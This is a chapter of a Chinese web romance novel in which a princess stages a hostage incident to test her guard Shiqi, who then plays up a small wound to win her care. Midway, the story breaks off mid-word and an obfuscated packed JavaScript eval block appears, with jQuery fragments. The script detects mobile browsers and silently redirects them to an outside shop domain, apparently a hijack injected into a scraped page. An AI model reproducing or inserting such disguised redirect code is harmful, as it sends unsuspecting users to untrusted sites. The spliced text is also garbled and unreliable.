十七指腹带着灼意,在她脖子某处摩挲。
梁嬿知晓她耳下脖子有可不起眼的小痣,正是十七指腹落下的地方。
她抬头,男子下颌轮廓分明,乌眸深邃她瞧不出情绪。
遒劲的手臂将她拥入怀中,臂膀宽阔温暖。
囚徒押解的路线是梁嬿定下的,囚徒从差役手下逃走是梁嬿故意放走的,五名金吾卫“恰巧”路过遇见帮忙追捕是梁嬿提前安排的,就连与囚徒“偶遇”的这条人烟稀少的街巷,也在梁嬿的计划中。
甚至被囚徒劫持,也是梁嬿计划的一环。
虽早已知道计划,可那囚徒擒住她时,她还是被吓住了。
茶楼上有尹况,囚徒昨日已不知不觉服下尹况的新毒药,只需闻到特定的味道,不出十个数,必定暴毙而亡;茶楼上还有携琴而来的花无影,只要抚琴,琴声落入囚徒耳中,他便头疼欲裂,乖乖束手就擒。
一切都在计划中,很顺利。
但是有一环,超出了梁嬿的预判。
刀剑抵在她颈上,十七对囚徒威胁的言语无动无衷时,她怕了。
这次劫持是花无影提议的,他说:“有些男子,你对他好,他认为是理所应当,也不知哪里来的优越感。这类男子天生犯|贱,只有失去时,才明白自己的心,才会后悔。殿下只有让十七紧张,才能让他看清内心。若是十七在危机关头不救殿下,那他便不值得殿下待他好。”
这场蓄意劫持的结局,梁嬿是满意的。
十七没有不救她,劫持的惊恐很快被喜悦代替。
十七主动揽她到怀中,梁嬿弯唇,笑得明媚,不再纠结他指腹是否在她颈上小痣来回摩挲。
她回抱男子细腰,几乎是同时,她能感受到十七背脊的僵|硬。
梁嬿仰头,发髻碰到后脑抵着的扇面,她嫣红的唇瓣翕合,问道:“你就这般肯定一箭能射中那歹人眼睛?”
十七左手指腹还落在梁嬿纤白脖子,目光却锁在她红艳双唇上。
他个子本就高挑,下颌刚好到梁嬿头顶,此时凑近些,只需稍稍低头,薄唇便恰好能碰到梁嬿额头精致的花钿。
十七声音低沉,道:“我既是长公主带出来的侍卫,便一定确保殿下无虞。”
他承认了。
心甘情愿承认是梁嬿的人。
挡住梁嬿回头的团扇正好遮住凑近的十七,在旁人眼中,也只能看见一俊美男子拥着长公主,举止亲昵,似在咬耳朵。
“没眼看。”
茶楼上的三人纷纷背过身去。
而五名金吾卫不敢乱动分毫,将刀架在囚徒脖子上,不敢催促前面的两人。
太近了,梁嬿下意识埋头,眼睛胡乱瞟着,问道:“若本宫受伤了呢?”
十七不想回答不会发生的假设,顿了片刻,他好奇问道:“若是我受伤了,长公主该如何?”
梁嬿秀眉紧蹙,明是她在问问题,怎变成了她在回答十七的话,“受伤了自然是要找太医医治,包扎。”
十七笑了笑,他不想要太医包扎。
他想要眼前的女子。
十七松开梁嬿,将团扇放到她手中,“干净的,没弄脏。”
梁嬿握住扇柄,扇柄被十七一直握住,上面还有他的温度。
“怪血腥的,别跟过来。”
十七扔下一句便去了被金吾卫擒住的囚徒身边。
那囚徒被刺瞎右眼,痛不欲生,面颊和身上全是血,模样惨不忍睹。
十七从地上拾起囚徒掉落的用刀剑,就是这玩意,差点划破小骗子脖子。
指节搭在腰间剑柄上,十七将刀剑贴在囚徒面颊,沉声质问道:“一个囚徒,你为何认识长公主?谁指示你来的?”
话音刚落,囚徒使出一身蛮劲,挣脱开擒住他手臂的金吾卫,又从靠他最近的金吾卫手中夺过刀,与朝十七刺去,似要报仇。
十七眼疾手快及时避开,未开刃的剑出鞘,挑开那囚徒的剑。
梁嬿听见身后响动忙转身,被囚徒半脸是血的血腥模样吓白了脸,近乎想吐,便急急用团扇遮住眼睛,可还是忍不住偷偷挪开小缝看看。
“十七!”
囚徒划伤十七手臂,梁嬿担心地惊呼一声,扔了团扇奔向受伤的十七,而此时那囚徒被金吾卫从背后一剑刺穿,当成毙命。
十七手掌捂住梁嬿双目,“长公主今晚害怕可莫要怪我,都叫你不要转过来看。”
“流血了。”梁嬿见十七右手手臂刺伤血流不止,有些心疼。
从袖中拿出丝绢,梁嬿将丝绢缠在十七受伤的手臂上,“暂时止血,回府再让尹况给你医治。”
街巷一对玉人郎才女貌渐渐远去,茶楼上看戏的三人将这一幕尽收眼底。
花无影收起未来得及弹奏的琴,眼底流露出不屑,“拙劣的小把戏。”
等着一起下楼的路燚不明所以,好奇问道:“什么小把戏?”
花无影因妹妹一事与太多男子打过交道,他们心中想什么,他猜个八九不离十。
十七那小动作一出来,花无影便看穿他的小心思。
埋头收琴,花无影不打算点明,道:“自己悟。”
天色微黑,十七在如此危机的情况下还能面不改色一箭射中劫持之人眼睛,足见他一身好本领,以他的身手赤手空拳也能擒住那囚徒,更何况此人刚瞎了一只眼。
拙劣的小把戏,不过是想让长公主心疼罢了。
臭男人。
“事情总算告一段落,”尹况靠在柱子边,神色略微暗淡地收起一直握在手中的瓷瓶,惋惜道:“准备许久的药粉,终究没有用上。”
*
长公主府。
尹况等三人先一步回到府中,没多久梁嬿与受伤的十七也回来了。
如三人所想,梁嬿速速找来尹况治伤,而后闲着也是闲着的路燚、看穿十七小把戏的花无影随尹况一同去看了十七屋中。
“若你早听本宫的话,本宫今日带你出去便给你一把开刃的佩剑。”梁嬿坐在十七旁边,丝绢被血染红,而尹况还没来,她心中焦灼,有些坐立不安。
十七面色平静,淡淡瞥眼右臂梁嬿包扎的蝴蝶结。
他一身本领,自是懂得如何擒人避敌。
作为战俘被擒住时,他身上的远比这严重。
一点小伤便让梁嬿如此紧张,她是真的喜欢他?吗
尹况拎着药箱姗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9150885|89626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姗来迟,身后还跟来两名那男子。十七本因为想到梁嬿如此紧张他而放松的春假不由紧绷,连舒展的眉头也拧了起来。
梁嬿催促尹况道:“十七好像很痛,你快来看看。”
花无影紧随其后,恢复男装的他还是有几分媚态,“长公主不必担心,手臂划伤而已,死不了,也残不了。”
目光越过焦急的梁嬿,看眼右臂搭在桌面端端坐着的十七,花无影道:“男子若是连这点痛都受不了,不如趁早头胎下辈子当个女子。”
梁嬿心里乱得很,打断花无影道:“快别说了,吵得本宫头疼。”
十七眼尾上扬,眉梢轻轻上挑,鹰隼般的目光凝在花无影身上。
似在炫耀,亦是在挑衅。
顾及十七伤口恐是有几分血肉模糊,尹况解开丝绢前提议道:“长公主可要回避?”
梁嬿摇头,“本宫还受得住,无事。”
尹况点头,用镊子解开染血的丝绢。
右臂被剑划伤,手肘往下约莫一寸,伤口倒也算长,可为何流这么多血?
梁嬿疑惑,莫不是适才下马车时十七执意搭手扶她下车她不慎碰到了伤口?
尹况清理伤口,缝合伤口,十七倒也不算太疼,只是身旁站了路燚和花无影,他不喜这被人围观的感觉,便不悦地拧起眉头。
“轻点。”梁嬿见状,嘱托尹况下手莫要太重。
十七闻言又是一阵蹙眉,他不愿被梁嬿瞧不起,况且他并不是因为疼才蹙眉的,解释道:“我不疼。”
尹况未置一词,从药箱中拿出一叠白纱布准备包扎伤口。
今日囚徒挣脱金吾卫反杀他们都没有料到,更没有料到十七会受伤。在回府的路上花无影悄悄同他说了十七的小把戏,如今十七心中恐是想要梁嬿的关切。
死不承认。
尹况缠纱布的手故意用劲,十七疼但并未直言,轻蹙的眉头越发紧拧。
“罢了,本宫来。”梁嬿到底还是心软,她看眼十七身边立着的两人,道:“你们回去罢,这里交给本宫。”
花无影点头,拉着路燚同尹况一同出了屋中。
——臭男人,如愿以偿,长公主心疼了。
屋中烛火摇曳,梁嬿坐在十七旁边,纤白手指拿着纱布,道:“本宫便屈尊为你包扎,算是答谢你今日相救。”
想到十七嘴硬,梁嬿迟迟未动手,抬眼看他,道:“本宫手轻,你若是还疼,便讲出来,本宫给你吃止疼药,你是伤者,本宫不会因此取笑你。”
十七答应得极快,“好。”
梁嬿倒是被他这么爽快弄得有些不自在,心道十七果真是怕疼,嘴硬死不承认。
十七垂眸看着细心包扎的梁嬿,唇角弯了弯。
原来怕疼,会换来梁嬿的亲自照顾。
倒也可以偶尔尝试一次被梁嬿照顾。
他遍体鳞伤时,也未曾皱眉,自然不是怕疼。
怕的还是什么呢?
自然是梁嬿府上这一个两个三个花蝴蝶。
他受伤,干他们其余两人何事?
一个个跑来凑热闹!
他如今是梁嬿的救命恩人,梁嬿要比以往更加关心照顾他才行!